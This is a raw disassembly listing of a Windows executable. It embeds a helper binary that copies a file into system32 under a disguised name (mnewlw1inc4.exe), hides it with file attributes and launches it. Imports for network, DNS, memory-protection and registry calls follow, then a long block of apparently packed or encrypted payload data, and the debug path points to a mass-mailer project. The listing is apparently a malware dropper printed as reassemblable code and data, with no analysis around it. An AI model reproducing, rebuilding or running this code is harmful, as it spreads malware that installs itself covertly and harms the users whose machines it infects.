dword_424D80 dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937+167r
dword_424D84 dd 0 ; resolved to->USER32.GetProcessWindowStation ; sub_419937:loc_419A0Cr
dword_424D88 dd 0 ; resolved to->USER32.GetUserObjectInformationA ; sub_419937+E1r ...
dd 31h dup(0)
dword_424E50 dd 0 dword_424E54 dd 0 ; sub_4024A7+19w ...
dword_424E58 dd 6 dup(0) dword_424E70 dd 0 dword_424E74 dd 0 ; .vty:0041B694r ...
dword_424E78 dd 0 dword_424E7C dd 0 dword_424E80 dd 0 ; sub_40499E+C1r ...
dword_424E84 dd 0 ; sub_401156+13o ...
dword_424E88 dd 0 ; sub_4010E1+3Fo
dd 3 dup(0)
dword_424E98 dd 0 ; sub_401156:loc_401195r ...
dword_424E9C dd 0 ; sub_401156+25w
dword_424EA0 dd 0 ; sub_401156+1Aw
dword_424EA4 dd 0 ; sub_403C76+82r ...
dword_424EA8 dd 0 ; sub_403C76+1Bw
dword_424EAC dd 0 ; sub_416E1Fr ...
dword_424EB0 dd 0 ; sub_416E1F+6r ...
dword_424EB4 dd 0 ; sub_416DD7+36w ...
dword_424EB8 dd 0 ; sub_416E4A+2FCw ...
dword_424EBC dd 0 ; sub_41715Er ...
dword_424EC0 dd 0 ; sub_416E4A+249r ...
dword_424EC4 dd 1 ; sub_41112C+13r ...
dword_424EC8 dd 20h ; sub_414CF9+35r ...
dd 5 dup(0)
dword_424EE0 dd 3820B0h ; sub_413A88+87r ...
dd 3Fh dup(0)
dword_424FE0 dd 0 ; sub_413A88+44w ...
dd 7 dup(0)
dword_425000 dd 400h dup(0) ; .vty:004238A8o
dword_426000 dd 0 ; sub_413A88:loc_413AA2w ...
dword_426004 dd 0 dword_426008 dd 0 ; sub_410050+28r ...
dword_42600C dd 0 dword_426010 dd 1 dword_426014 dd 0 ; sub_40DAA8+9Bw ...
dword_426018 dd 0 ; sub_40DAA8+87w ...
dword_42601C dd 1 ; sub_413264+11w ...
dword_426020 dd 0 dword_426024 dd 0 ; sub_4125B5+74o ...
dword_426028 dd 142340h ; sub_41547E:loc_41548Fr ...
dword_42602C dd 0 dword_426030 dd 0 ; .vty:004104A4o ...
dd 3F5h dup(0)
dd 4, 10001h, 800000A0h, 80000020h, 18h, 80000038h, 2 dup(0)
dd 4, 10000h, 65h, 80000050h, 2 dup(0)
dd 4, 10000h, 1, 80000068h, 2 dup(0)
dd 4, 10000h, 415h, 80h, 2 dup(0)
dd 4, 10000h, 409h, 90h, 270B4h, 0A00h, 4E4h, 0
dd 27AB4h, 56h, 4E4h, 0
aRt_helper_0:
dw 9
unicode 0, <RT_HELPER>
aMzr db 'MZ',0
dd 3, 4, 0FFFFh, 0B8h, 0
dd 40h, 8 dup(0)
dd 0C0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
dd 0CEA62459h, 3 dup(9DC8451Dh), 9D954ADEh, 9DC84518h
dd 9DC9451Dh, 9DC84516h, 9DBA833Ah, 9DC8451Ch, 9DB0833Ah
dd 9DC8451Ch, 68636952h, 9DC8451Dh, 2 dup(0)
dd 4550h, 2014Ch, 480279E2h, 2 dup(0)
dd 10300E0h, 8010Bh, 200h, 400h, 0
dd 10C0h, 1000h, 2000h, 400000h, 1000h, 200h, 4, 0
dd 4, 0
dd 3000h, 400h, 0
dd 4000002h, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 2 dup(0)
dd 2078h, 3Ch, 8 dup(0)
dd 2040h, 1Ch, 0Ah dup(0)
dd 2000h, 34h, 6 dup(0)
dd 7865742Eh, 74h, 11Dh, 1000h, 200h, 400h, 3 dup(0)
dd 60000020h, 6164722Eh, 6174h, 208h, 2000h, 400h, 600h
dd 3 dup(0)
dd 40000040h, 7Eh dup(0)
; =============== S U B R O U T I N E =======================================
sub_4274B4 proc near ; CODE XREF: .vty:004275A2p
; .vty:004275C2p
var_454 = dword ptr -454h
var_428 = dword ptr -428h
var_424 = word ptr -424h
var_410 = byte ptr -410h
var_400 = byte ptr -400h
sub esp, 454h
push edi
push eax
lea ecx, [esp+45Ch+var_400]
push ecx
call dword ptr loc_402024
push 40205Ch
lea edx, [esp+45Ch+var_400]
push edx
call dword ptr loc_402010
mov edi, dword ptr loc_40201F+1
lea eax, [esp+458h+var_400]
push eax
call edi
cmp byte ptr [esi], 2Dh
jnz short loc_4274F5
cmp byte ptr [esi+1], 58h
jnz short loc_4274F5
cmp byte ptr [esi+2], 0
jz short loc_427566
loc_4274F5: ; CODE XREF: sub_4274B4+33j
; sub_4274B4+39j
push 0
lea ecx, [esp+45Ch+var_400]
push ecx
push esi
call dword ptr loc_402018
push 6
lea edx, [esp+45Ch+var_400]
push edx
call dword ptr loc_40201C
lea eax, [esp+458h+var_454]
push eax
mov [esp+45Ch+var_454], 44h
call dword ptr loc_402013+1
lea ecx, [esp+458h+var_410]
push ecx
lea edx, [esp+45Ch+var_454]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp+478h+var_400]
push eax
push 0
mov [esp+480h+var_428], 1
mov [esp+480h+var_424], 0
call dword ptr loc_40200A+2
test eax, eax
jz short loc_427566
push esi
call edi
mov al, 1
pop edi
add esp, 454h
retn
; ---------------------------------------------------------------------------
loc_427566: ; CODE XREF: sub_4274B4+3Fj
; sub_4274B4+A3j
xor al, al
pop edi
add esp, 454h
retn
sub_4274B4 endp
; ---------------------------------------------------------------------------
db 4 dup(0CCh)
; ---------------------------------------------------------------------------
sub esp, 400h
push esi
push 4E20h
call dword ptr loc_402008
call dword ptr loc_402003+1
mov esi, eax
push 400h
lea eax, [esp+8]
push eax
call dword ptr loc_402000
lea eax, [esp+4]
call sub_4274B4
test al, al
jnz short loc_4275C7
lea ecx, [esp+4]
push ecx
push 0
push 0
push 1Ch
push 0
call dword ptr loc_40202C
lea eax, [esp+4]
call sub_4274B4
loc_4275C7: ; CODE XREF: .vty:004275A9j
xor eax, eax
pop esi
add esp, 400h
retn
; ---------------------------------------------------------------------------
align 4
dd 38h dup(0)
dd 20E8h, 2100h, 2112h, 211Ah, 212Ch, 2138h, 214Ah, 2156h
dd 216Ch, 217Ah, 0
dd 2194h, 5 dup(0)
dd 480279E2h, 0
dd 2, 54h, 21B4h, 7B4h, 7379735Ch, 336D6574h, 6E6D5C32h
dd 77317765h, 34636E69h, 6578652Eh, 0
dd 20B4h, 2 dup(0)
dd 2186h, 2000h, 20E0h, 2 dup(0)
dd 21A8h, 202Ch, 5 dup(0)
dd 20E8h, 2100h, 2112h, 211Ah, 212Ch, 2138h, 214Ah, 2156h
dd 216Ch, 217Ah, 0
dd 2194h, 0
dd 654701F3h, 6E695774h, 73776F64h, 65726944h, 726F7463h
dd 4179h, 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 3560041h
dd 65656C53h, 660070h, 61657243h, 72506574h, 7365636Fh
dd 4173h, 736C03BDh, 61637274h, 4174h, 654701B7h, 61745374h
dd 70757472h, 6F666E49h, 430041h, 79706F43h, 656C6946h
dd 3190041h, 46746553h, 41656C69h, 69727474h, 65747562h
dd 4173h, 65440083h, 6574656Ch, 656C6946h, 3C60041h, 7274736Ch
dd 41797063h, 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 485300AFh
dd 46746547h, 65646C6Fh, 74615072h, 4168h, 4C454853h, 2E32334Ch
dd 6C6C64h, 53445352h, 0AD6D417Dh, 4A23D50Fh, 0EDF0B4h
dd 9EB4EB35h, 1, 4D5C3A68h, 45545341h, 4D5C5352h, 656C6961h
dd 4E5C3372h, 535C5745h, 616D534Dh, 72656C69h, 69614D5Ch
dd 3372656Ch, 6C65725Ch, 65736165h, 6C65485Ch, 2E726570h
dd 626470h, 7Eh dup(0)
aAssemblyXmlnsU db '<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersio'
db 'n="1.0">',0Dh,0Ah
db '</assembly>PA',0
align 10h
dd 13Ch dup(0)
dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h
dd 4 dup(0)
dd 280A4h, 28000h, 0
dd 42C2C8A1h, 0
dd 280F9h, 28030h, 0
dd 76F36C5Bh, 0
dd 28113h, 28044h, 0
dd 71AB615Ah, 0
dd 28129h, 28058h, 0
dd 7E41BD76h, 0
dd 28134h, 2806Ch, 0
dd 77DD6BF0h, 0
dd 2814Ch, 28080h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh
dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h
dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h
dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch
dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h
dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h
dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh
dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h
dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh
dd 67655200h, 736F6C43h, 79654B65h, 0
dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h, 0E21003C9h
dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h
dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h
dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h
dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h, 4BC8CD9Ch
dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h, 0A68332DCh
dd 57594121h, 3AEE11Bh, 50B9A09Dh, 0C8869026h, 0F8F2E7EAh
dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B1F7E7h, 0FBEA53Dh
dd 22E768B5h, 0FB1A2051h, 93F3DC1Bh, 0C5E375Ah, 0DCF23EFBh
dd 0FE8C07B7h, 0C6F30F54h, 0FA56E082h, 76B6F10Ah, 0A57557ACh
dd 61828DDDh, 0A31A9C83h, 88B6E2F3h, 8E410636h, 848B1459h
dd 233C71E7h, 58FD62D8h, 3ECDEDB2h, 7521B115h, 2298B0D8h
dd 6728511Ah, 6A2B6F3Ch, 71712CC7h, 698DEE3Fh, 0F9A96236h
dd 42AA7AECh, 20D4E98Dh, 0AA5D94h, 0B5BFF5DBh, 5FDCCA91h
dd 763A869Eh, 0DBCA3080h, 0A58D925Fh, 3B298B8Eh, 877BD378h
dd 8D8EAB79h, 0D435B248h, 9E8C9AECh, 1B0F58CAh, 8807F070h
dd 19FC9FE7h, 1000DD3Fh, 0C78E0000h, 63000000h, 220C4E80h
dd 0BEFD4118h, 23DD5ACDh, 8C2DF6ECh, 0E94C8C72h, 6F2B15AFh
dd 96CC39EDh, 4008AC72h, 0F993A875h, 0B3D06035h, 26E5687h
dd 389B2697h, 0C49F8F89h, 34C237D1h, 8207A06Fh, 6C9E8F58h
dd 0E2351AE4h, 0A0617726h, 0C2A6DE12h, 4BA35EFEh, 0AC2BCC0Eh
dd 4B3B6487h, 7340CB32h, 7F2481BCh, 0EA47D94Fh, 0C363CE96h
dd 0C798483Eh, 0DD4D1A0h, 0CFD41923h, 85D6A99h, 8D02C92Dh
dd 6E849489h, 0F047A9F1h, 0DF22FF53h, 0C4406107h, 6A7EF01Bh
dd 260D2DE3h, 4C79B949h, 4BADAEA4h, 5A04E603h, 0C2234F51h
dd 0C6D17BF6h, 0BA04D211h, 0DAD6BF1Fh, 0CF734A84h, 7C8A0006h
dd 6042B76h, 0B7C82F8Dh, 0CF3F2AB4h, 39DA3930h, 72D9C3B0h
dd 0DC47D8AEh, 0E88174A3h, 87311DE2h, 0D5E1107Ah, 672049B2h
dd 21AE0EFAh, 92B0B24Eh, 0D6969DE5h, 0DF69E025h, 0FE09B9D1h
dd 0E13ED768h, 3D76E365h, 86E0735Ch, 0B91205B1h, 69D3F477h
dd 46A4F6AEh, 0B8243049h, 0FFA9DD4Dh, 1C8A9FD5h, 0C8DFC03h
dd 0C73F2CA3h, 986EC800h, 0E897E343h, 77E26478h, 0FCDA6751h
dd 84DDA7C4h, 0B7F59042h, 85466E62h, 0ACC6C1E0h, 9AF084D5h
dd 0B52E0B76h, 0A89B301Ch, 0DA30747Ah, 283712F1h, 0EB0C6F40h
dd 0BE3F7724h, 0B975AF8Dh, 41E815B3h, 456A1859h, 65CD1C7Bh
dd 8B18B37h, 278C2285h, 50CC2646h, 77B56DE2h, 0C51A3517h
dd 0CBC10F9Ah, 5B579A04h, 2803DF66h, 2DE0C0Fh, 0D8F13A35h
dd 310AD1C8h, 9A832486h, 0C728EE12h, 640C3384h, 1C71B312h
dd 13AE6810h, 6B2D48FFh, 0D2D445E2h, 5682664h, 0F0484B4Fh
dd 74739030h, 8B33CB33h, 0DB0FA4F4h, 0E155C437h, 0EADBA2F6h
dd 7EB8AB48h, 0BB793680h, 8C5637DAh, 0D506123Ah, 0DC5FC2C2h
dd 2975F73Eh, 0CACDAE06h, 6A57EB4h, 0D8A21C68h, 8C148A50h
dd 0F9D1FDD5h, 0F64B3233h, 7107D0FAh, 0CD09E701h, 32D84A86h
dd 9B8361DCh, 2512F27Bh, 0D2539BAh, 9562E9B4h, 29B1E198h
dd 0BC0491EBh, 91F06732h, 9A486677h, 0E1A099E5h, 1B79A040h
dd 18060285h, 801D1DC2h, 0F9189D02h, 0DEDC3884h, 0B52028FBh
dd 0B626F88h, 6B63B2ADh, 0DA2DCB4Dh, 0AD6AB643h, 0ACB6799Dh
dd 6730827Bh, 4B8AE9F4h, 2EF7E7A8h, 94409796h, 0B3321AD4h
dd 0E227FE5Bh, 0BFF799F8h, 0D0F4AD80h, 487AB99Dh, 609DABB9h
dd 0DE9CF6B9h, 0DA81B7B8h, 6DC5C92Eh, 0A719FB09h, 0A048B8E2h
dd 9C191114h, 7775FB7Fh, 8C87843Eh, 8C3C14F7h, 9C38F247h
dd 9DF91252h, 5913D910h, 4C55CD03h, 2025EC3Eh, 0E674F481h
dd 35551AF8h, 0B6307299h, 9380383Bh, 42381305h, 0FB5344EEh
dd 295C21FEh, 214B51E4h, 9769FF7Ah, 19CDD14Bh, 0C21B40A2h
dd 0D13545FDh, 0FB67E1C5h, 0D53E314Ch, 79D3FC91h, 0E4A2664Dh
dd 89535F40h, 47751409h, 691D1A7Ch, 7C40D292h, 0A1B7D44Fh
dd 3923F6F2h, 7C80D7A5h, 0DED50F25h, 95BA477Dh, 6E653F93h
dd 104A02CCh, 3536B8D6h, 8D80B6B7h, 1D7D958Dh, 3A70BC7Fh
dd 0E4C4BD4Dh, 9DF5315Ah, 3F36561Fh, 81465A20h, 0C2893FC9h
dd 0CD08C4E3h, 6ABE90D7h, 980FB9CCh, 33AC777Bh, 6BA8D695h
dd 1D3BA5D8h, 466E3126h, 0BE5A8BC1h, 0AC510313h, 0FCF524DEh
dd 18C6ABB2h, 79E55D04h, 6F86A619h, 37DC673Ch, 0C4DFF52Ch
dd 0E81DBA28h, 4DB92B07h, 0C865B69Dh, 725A0B97h, 79BFA4EBh
dd 0CBFD047Bh, 0CC2F45FDh, 170A0028h, 253A0D37h, 3899884Dh
dd 1A78709Dh, 399719B7h, 0C7B7A0B0h, 3DC9F217h, 55844101h
dd 0A25A964Bh, 0BEAACB63h, 307DB628h, 85C042Ah, 0C9107BBFh
dd 262648B7h, 0C50DCA1Ch, 0FAE170D1h, 0FEF92386h, 6309250Bh
dd 84F9B36Ch, 2C7D1ABDh, 0C7A36831h, 95211BD2h, 93C84115h
dd 102A7211h, 480165CFh, 52545981h, 5A35D53Fh, 2D4CEC5Eh
dd 28AF5DCBh, 8CDA2A78h, 4C8B5CE6h, 493579Dh, 24B405E7h
dd 5CA35B74h, 23E3188h, 0BECA92D0h, 3D10479Eh, 0D4C58D71h
dd 5E9CE8EDh, 0B2829636h, 36B93461h, 0BC948FF1h, 0FFF20246h
dd 8F75F3A4h, 0DFA5BDB5h, 8624CD55h, 42319A95h, 8009D646h
dd 30AB48A7h, 2DE8D139h, 8D2522D9h, 44A47DAh, 0BB3541A7h
dd 1633BB4Eh, 82A52EECh, 49169177h, 0EEA476C9h, 0A327423Ah
dd 9B087554h, 2380C58Dh, 5CF0F1C6h, 0F37D391Eh, 93168757h
dd 0B780CD13h, 0C80C9BECh, 27E3AB65h, 90EEF235h, 2B4E6444h
dd 63F60E11h, 6B8F0C9Dh, 26FCF415h, 0B6232C9h, 3366E3B1h
dd 0FF930787h, 2516A285h, 0DFCD53AEh, 83F90381h, 8764C24Fh
dd 3E03FAE6h, 3F9F92A3h, 0FE37BF3Eh, 9895C39h, 0EDF83DAh
dd 6088D4D9h, 0CD9D43F9h, 311F32C7h, 596DF39Eh, 0B6D8E978h
dd 0A70C623Ch, 30237ACh, 0FC3F73B8h, 0C9F6A18Eh, 21BD52FCh
dd 7F696A56h, 0F5F79B16h, 8AA26534h, 18D6A5EEh, 3A087DCDh
dd 3BF07F19h, 8B840220h, 78625DFBh, 831D009h, 316E9802h
dd 0C11D7F7Eh, 0CC444760h, 0E44D7285h, 66FA5092h, 0DB1CFEB8h
dd 0BF33AEB3h, 0F2013C67h, 0FA5F9F29h, 505F7D8Bh, 44ACCFB3h
dd 3CF65392h, 79D5EE3Bh, 695EEC35h, 0B295628Ch, 8CD6E774h
dd 8EE6F879h, 9150A60Ch, 0DC4D4FF6h, 0A212244Ch, 536A42E5h
dd 6897600Dh, 0D4F5BDC7h, 9A1EA52Bh, 0EF183CFAh, 2FB0186Eh
dd 0BA27BBC7h, 281A2FA9h, 420B44F4h, 28F0A113h, 13893AA4h
dd 793AD110h, 0DA69A084h, 0BC4AA8EAh, 42FA2A7Ah, 0A032AAA8h
dd 6939460Bh, 0E4D06450h, 0D7F8BB13h, 0E4AFD1E8h, 74725556h
dd 6BAC99Ah, 1A9BEB0Fh, 619DE579h, 3F6BFBF2h, 9765A504h
dd 54E5A6Dh, 4DB226D9h, 37774D56h, 9CE92F30h, 6E628382h
dd 0BB0C46A1h, 64C36EF8h, 0E480A69Dh, 0D15F7573h, 0AEB19A30h
dd 4060165Eh, 523F991Eh, 0C0996E0h, 2DB9D7BBh, 13BB839Dh
dd 0C1158D7Fh, 78250DF4h, 3A85D956h, 0AAB45F21h, 0E1ECD4C6h
dd 661D99F8h, 994049Ah, 95AC9A05h, 1FF964EDh, 0A7D0CE22h
dd 0EEF50119h, 0D170893h, 97E3C1AAh, 412BDD98h, 24A83E15h
dd 25AA5B4Ch, 23466174h, 3DE6D623h, 22F4603Ah, 0B52DC98Bh
dd 7CBCDB06h, 8516F966h, 3DD16905h, 0A4287C0Ah, 7A8EE69h
dd 0B7FC50C0h, 0A5C6833Bh, 3FF8205Eh, 0C80EA6A9h, 0E3341AECh
dd 0C4F0F822h, 159F533Fh
dd 0A1EDFA40h, 0D0E86C4Fh, 35264624h, 41842EFEh, 6799E858h
dd 0DB6641F7h, 651EF2CBh, 0D9B59C22h, 7BCEBFABh, 0E69CF75h
dd 97D98942h, 395685A5h, 11042917h, 939A296Dh, 82C3D0E3h
dd 778B2C3Dh, 0D1BA8226h, 73D9EC81h, 53A68BBFh, 0DD99ED43h
dd 0C1CF7128h, 4C76A33Eh, 0C06E79CBh, 82C33C8Bh, 0D13B1111h
dd 7318D3CCh, 62B72236h, 45410E08h, 60101C4Bh, 18F14EB3h
dd 802C0AE3h, 4C58CDA4h, 113E42C2h, 74E120E5h, 0C713EB2Eh
dd 0B96303B6h, 0DEC95626h, 1FC0B043h, 2CB97D92h, 0CDA8B9C6h
dd 0E8836057h, 0F71DA9D7h, 0FBC536F9h, 2FA0D38Ah, 281286B0h
dd 5E29116Ch, 50A49FD2h, 9098DC4Bh, 0CF591545h, 0F289BE8Dh
dd 8B3F6197h, 0D3603317h, 8227A557h, 0D03DD75Eh, 29C90FB7h
dd 70ED839Ch, 0B2955EB7h, 0D5B4F329h, 9075B5FCh, 0C94042EBh
dd 0C094CF0h, 5023A7Eh, 3F483B59h, 9E8B023Dh, 93C0CAD6h
dd 2B4317AEh, 23F9304Dh, 0C2938359h, 0F8CE191Ah, 0B375A71Ah
dd 0FB2926DBh, 70A408Fh, 1BD500DFh, 6283D19Ch, 31534F0Bh
dd 84F4F8CEh, 87E7A6DAh, 6227C902h, 0E8C31CBDh, 1EC8BDC1h
dd 0BC895928h, 2AD467C9h, 55EE107Bh, 764C5A3Bh, 97EBA7F8h
dd 983E6B69h, 0CC39FDE7h, 11DDFC4Ch, 31E1E7C2h, 3E4099B7h
dd 1993E36Ah, 0EB146DE6h, 740BD425h, 28562FBCh, 0F2E4E88Eh
dd 657E34E8h, 7FE68E4Bh, 0D10D0917h, 0B16529C7h, 644A5F12h
dd 0D221834Fh, 864265C7h, 0BC4F6D3h, 73B5C0D1h, 7438E64Ah
dd 6186504Dh, 2D19F8Ch, 5BD088A6h, 474919B1h, 7EC662D7h
dd 2C7F4E05h, 59F48EE4h, 25FADB98h, 3E562DBDh, 86BD6C7h
dd 9806440Ah, 7E3F29F7h, 964A2D9Fh, 0FA2530DAh, 2A718716h
dd 0BD42EEC2h, 33376FA4h, 1F1EE8B6h, 0D6F83C18h, 1A966129h
dd 0C3AECE1Ah, 5CF6B651h, 0D09707E0h, 0D9E68C10h, 8C3DEC3Ch
dd 8907D5A4h, 0B2A6CA6Eh, 8E53FB0Eh, 523F1AF9h, 46C80442h
dd 906A6BE1h, 0D6A6A1B3h, 0BF75C1Dh, 1FA9EF3h, 476F99A2h
dd 19242645h, 0DAEA44DDh, 1F3CFFB4h, 69059B4Dh, 46036769h
dd 42269E9Eh, 0E3628B96h, 3345D317h, 4690ADE5h, 59EDFAB6h
dd 7E80B517h, 4E013568h, 0D7E70D1Fh, 456F99Ah, 0E49DB539h
dd 6BF4217Dh, 859E993Ch, 3EE1CE30h, 0C797AAEDh, 5426B19Ch
dd 5238DC4Ah, 0DD082444h, 6D89CF55h, 0AB02E32Bh, 55CB85B6h
dd 66BC6ED6h, 3F766E53h, 7A821132h, 51DEFB68h, 9058DC2Ah
dd 12F1E645h, 0F1CFA665h, 314DA199h, 25AA9DBEh, 902DC27Eh
dd 0E927BD18h, 76872160h, 27A2ECD2h, 0B5BF4F76h, 3B6E6B2Bh
dd 0ECDCB11h, 9B110AD9h, 0E142C4ADh, 6BD75F00h, 63728CDDh
dd 0F9D7D6EEh, 28834C97h, 3A6D884Dh, 0C24C6B38h, 75026880h
dd 6EB530E0h, 8A7F08E8h, 366DE993h, 1C19A202h, 170933EFh
dd 61BA315Dh, 6FE4CEA1h, 0B4968485h, 96BF7DD6h, 0A4E17AF8h
dd 15F38BFBh, 0FB97410Ch, 34349B70h, 0B67987Eh, 8738E14h
dd 0EC4541C7h, 67C95CD8h, 694021D1h, 13547C12h, 2D41CE24h
dd 0CD8A0B8Bh, 0C5F2EB98h, 36F758EDh, 373C9F6Fh, 0D25C8BC1h
dd 0D203FB10h, 82A8BFB1h, 8CA1F69Bh, 8A608566h, 0B5897E2h
dd 37E3CB38h, 8CAA8E58h, 0D6FFEF66h, 0CC813388h, 8F7B9F69h
dd 0B6ACC653h, 0E42EA1C7h, 6DD0590Dh, 0E28E6378h, 178DE1F4h
dd 813C4EF6h, 1ECCDE7Fh, 1625D567h, 4D601B69h, 0FE50A1A5h
dd 50AAC018h, 905B45BDh, 885D44B9h, 0E5E579E5h, 97BDBDD6h
dd 6B17B426h, 94A04E88h, 635370ADh, 0F3F33EEh, 0CB14BDE4h
dd 9AAD45E8h, 0BC332D04h, 0B845DB8Dh, 248DE486h, 0DBAB46B6h
dd 8ADBB5F4h, 959FEAC9h, 8471708Bh, 0DAB68916h, 3C36FE90h
dd 0C8620BE8h, 0F6470367h, 81C9883h, 46802D0Dh, 0DF74D07h
dd 0E3B1EC08h, 0DBE44DB6h, 9B2156F4h, 0CD646563h, 0CBC8F897h
dd 905C8DEDh, 2948517Ah, 6D0445B3h, 4ECAA6F1h, 5A88CBE2h
dd 21A59BB4h, 0ED34F79h, 7CFD5B0Dh, 0B3097250h, 92C662A9h
dd 48BE08A0h, 7B6E155h, 0BE9B7E05h, 4D5D1989h, 3C550D4Ah
dd 1D7FC34Dh, 675FAFA5h, 0FC068FC9h, 0FFE91FAAh, 0F8F8819Ch
dd 32BC4BECh, 90286CFFh, 0E1EB6D64h, 25DD5E7Eh, 3D0ACE7Ch
dd 36F49E04h, 8A9EBE52h, 70363DBFh, 31ED4EACh, 86304E4Dh
dd 4B05B9C0h, 914526A4h, 1F9BE843h, 79D3E41Bh, 0A20549B1h
dd 6B38043Dh, 0B3BA997h, 3673BD42h, 711F437Eh, 3FC560CBh
dd 0ED54D7FCh, 2E211A27h, 6A0513A8h, 204FECE0h, 95D80EB0h
dd 0AC97BBA3h, 9DEB4962h, 0F7A7BC08h, 58D9D4FBh, 6C7827EBh
dd 0C0E0DB86h, 53A8815Dh, 330FC21Dh, 0B04A7F12h, 252E981Fh
dd 9D5A8C6h, 1286FC11h, 0CD8EC407h, 64185448h, 0AD940EE4h
dd 0E9836792h, 26EAED40h, 3B7CD2B2h, 0DEA256C1h, 58A6A414h
dd 0EFF79DFh, 843C6797h, 33C5FDC2h, 55F5EF23h, 0BACD46EEh
dd 11AFF0D8h, 0D9C612CEh, 18D39E16h, 0D9407E5Ah, 578F140Eh
dd 5CD87DE5h, 0A294CAA2h, 1607B9FAh, 0DA4062ADh, 91E7F296h
dd 0A87C0337h, 8D9A1BEEh, 35DF4A82h, 2003074Dh, 0AC5F6790h
dd 570F2E59h, 776C628h, 50FDE714h, 35B1A688h, 0EB510AA7h
dd 59CBBC14h, 0EF68B3C7h, 8B29CF5Ah, 244D097h, 0BF597BD1h
dd 3D9DF637h, 0B07F7B72h, 8E9C560Bh, 1F1F1A2Ah, 0C1AB0B59h
dd 2FA93E64h, 80984916h, 5625C30Dh, 7DD63085h, 3C558D36h
dd 64241E11h, 90BB273Ah, 0A47A5213h, 38A62810h, 1A8CE2E0h
dd 0E9867AB5h, 36FCAF47h, 0BC1FB0CDh, 0D98F54C2h, 931FC405h
dd 0CD23DBB8h, 3D2B24E1h, 99124D73h, 5A83B730h, 4282625Bh
dd 29567B94h, 0DF3155A8h, 0C7F372A2h, 0AA137A45h, 995F0B32h
dd 34000769h, 3A48D07Eh, 0BC7CC903h, 4A8092F9h, 45D1C6DBh
dd 88FB65Dh, 6E826EEAh, 0BE31E665h, 0BDCE9AA4h, 0E53A34D2h
dd 0F626A5AEh, 92870D22h, 415278AEh, 365D345Fh, 0CA326ABh
dd 3E50CDEAh, 3BBE2E1Fh, 658D09A0h, 0F1D5C086h, 351E8774h
dd 8146DB1Ah, 0BE61139Fh, 8AFD033Ah, 0BCC22CCAh, 3F9BCCA8h
dd 43E5F28Eh, 40046C97h, 1EAD326Fh, 529B676h, 3E116F56h
dd 0BEA38191h, 0CCC77FF4h, 59B620ABh, 0BC9951D6h, 0D268574Dh
dd 8020AED9h, 0B38E498Fh, 0EF008C44h, 0AA7B71FFh, 0C824AB4Bh
dd 0A22474F1h, 19456D4Ah, 5F0E6DCBh, 97F26696h, 479ADD33h
dd 0ADF08141h, 44B6E80Ch, 0F1205E1Eh, 5A887CF6h, 0AF9FB949h
dd 0D141C3B5h, 0FEE4CB83h, 114B490Ch, 38CAB906h, 0ECFDEA83h
dd 59AF016Eh, 0B06C4E1Ah, 664087C8h, 0CC834DA5h, 33AE1CD6h
dd 0B7F33BB6h, 7187EB1Ah, 0BF3E937Fh, 396D4A86h, 5D9D8E67h
dd 0C72E55C4h, 0E8BA6115h, 0A7ABB15Ch, 19313978h, 0D7D55165h
dd 5348736Dh, 4B00102Dh, 27DE3332h, 6F1872Ch, 0F6BC7CACh
dd 86B81BEEh, 258A53D4h, 1B0B610Eh, 88AE4D64h, 0C250C049h
dd 0DFD2FE30h, 0E3A36Eh, 9C409465h, 0A57092E4h, 79BDBB6h
dd 0BB358469h, 0FFAA5F49h, 4E633CE3h, 51583959h, 0BE595255h
dd 0ABCF4E8Eh, 9D83DF06h, 0D6EFBC12h, 583535Eh, 0C84EDAB8h
dd 0AE9A9DEDh, 0F4A6BF95h, 319386A3h, 1EF172D1h, 0C2D10A18h
dd 230944Bh, 617AAFE8h, 4B72155Eh, 809C1BF3h, 41CC75AFh
dd 7ED90C4Dh, 1C6196FAh, 8D5012E2h, 973EECD6h, 90CCF01Ch
dd 0A13495DCh, 974D3836h, 6FDB91F1h, 7D5A971h, 473D0F68h
dd 783DBA1Fh, 3FC2E02Ch, 55CEF08Bh, 59635074h, 0F90798CAh
dd 0D4C7DA3Bh, 4B47DEF5h
dd 0A3521612h, 90953F0h, 8B29A30h, 3F3554ACh, 0C00DE2C2h
dd 0E337B2E5h, 0E62D805Ah, 6DFFD385h, 0F619D4FAh, 0BF3BE483h
dd 0D01240CEh, 0D3E34742h, 0C68F5B58h, 85CA36C9h, 49F2B70Dh
dd 0F13DEE37h, 94441A6Ch, 7A23C6EDh, 55BF24B9h, 8ADCF714h
dd 58265086h, 0D3287FEFh, 48E04D2Ah, 2F109210h, 3C19CB09h
dd 308E8808h, 913AEF34h, 6F597AEh, 0C8BF1F36h, 20B5495Dh
dd 355CD34Dh, 0B152F3D9h, 0D744E5F9h, 0B1211136h, 945B4262h
dd 112B288Ch, 0A729E77Dh, 0F4845C96h, 0A32B74BFh, 0F84EAA68h
dd 2A16EE20h, 0D1F2CFE2h, 4770E0E5h, 0D6F0AD0h, 6B30E668h
